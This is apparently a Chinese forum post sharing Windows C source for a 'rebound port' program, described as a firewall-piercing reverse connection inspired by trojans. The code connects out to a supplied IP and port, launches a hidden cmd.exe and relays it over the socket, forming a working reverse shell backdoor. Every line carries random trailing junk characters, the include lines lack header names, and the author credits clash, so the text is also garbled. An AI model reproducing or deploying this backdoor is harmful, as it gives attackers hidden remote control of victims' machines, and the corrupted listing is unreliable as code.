这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KGM__Z O.
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/* ============================== :.ZWYze
Rebound port in Windows NT h"+7cc@
By wind,2006/7 iGSJ\
===============================*/ dscah0T
#include H2BRId
#include P9yMf~
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#pragma comment(lib,"wsock32.lib") OJpfiZ@Q_
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void OutputShell(); chL1r9V)v
SOCKET sClient; iOg4(SPci
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]uox ^HC
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void main(int argc,char **argv) enJ;#aA
{ Qwpni^D8j
WSADATA stWsaData; pi"M*$
int nRet; AMjr[!44 @
SOCKADDR_IN stSaiClient,stSaiServer; uX1;
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if(argc != 3) 't`h?VvL
{ 86)2\uan
printf("Useage:\n\rRebound DestIP DestPort\n"); ~g/"p`2-N
return; ywJ [WfCY
} #epbc K
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WSAStartup(MAKEWORD(2,2),&stWsaData); Mu>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #4mRMsW5"
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stSaiClient.sin_family = AF_INET; jzV"( p!
stSaiClient.sin_port = htons(0); N_K9H1r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $x'jf?zs!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BS fmS(.
{ :
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printf("Bind Socket Failed!\n"); c ^ds|7i]a
return; Axsezr/
} jKmjZz8L]%
# &.syD#
stSaiServer.sin_family = AF_INET; /al56n
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FTCIfW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <VhmtT%7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3XlQ 4
{ fE~KWLm
printf("Connect Error!"); se %#U40*
return; xR0*w7YE
} e-y$&[
OutputShell(); &zF>5@fM
} UDr1t n
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void OutputShell() Pv5S k8
{ F%-@_IsG#
char szBuff[1024]; pRV.\*:c
SECURITY_ATTRIBUTES stSecurityAttributes; P^<3 Z)L
OSVERSIONINFO stOsversionInfo; 3%'`^<-V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e2c'Wab
STARTUPINFO stStartupInfo; w>j5oz}
char *szShell; }d}gb`Du
PROCESS_INFORMATION stProcessInformation; "}Om0rB}1
unsigned long lBytesRead; tcj"rV{G
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >u>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :bct+J}l~
stSecurityAttributes.lpSecurityDescriptor = 0; f4 S:L&
stSecurityAttributes.bInheritHandle = TRUE; xcw:H&\w6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g/.FJ-I*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VYb,Hmm>kC
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^5]9B<i[Y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #6\mTL4vg
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; \;Q(o$5<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Jn{)CZ
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GetVersionEx(&stOsversionInfo); u;$qJjS
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switch(stOsversionInfo.dwPlatformId) 4ct-K)Ris
{ !QwB8yK@
case 1: CbM~\6R
szShell = "command.com"; NOs00 H
break; u W,J5!
default: e*T^:2oRl
szShell = "cmd.exe"; aQmS'{d?^
break; o(e(|k
{
} ]~]TZb
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h81giY]
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send(sClient,szMsg,77,0); (nLzWvN
while(1) xMk>r1Ud
{ c\ZI
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X[?fU&
if(lBytesRead) 1sg:8AA
{ cZN<}n+q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h!dij^bD
send(sClient,szBuff,lBytesRead,0); ]mtiIu[
} ~s&r.6DW
else t+A*Ws*o
{ ^ulgZ2BQ|
lBytesRead=recv(sClient,szBuff,1024,0); /95z1e
if(lBytesRead<=0) break; MRz f#o<H
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k^d]E F
} -%J9!(
} c=tbl|Cq
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return; fB<Qs.T
}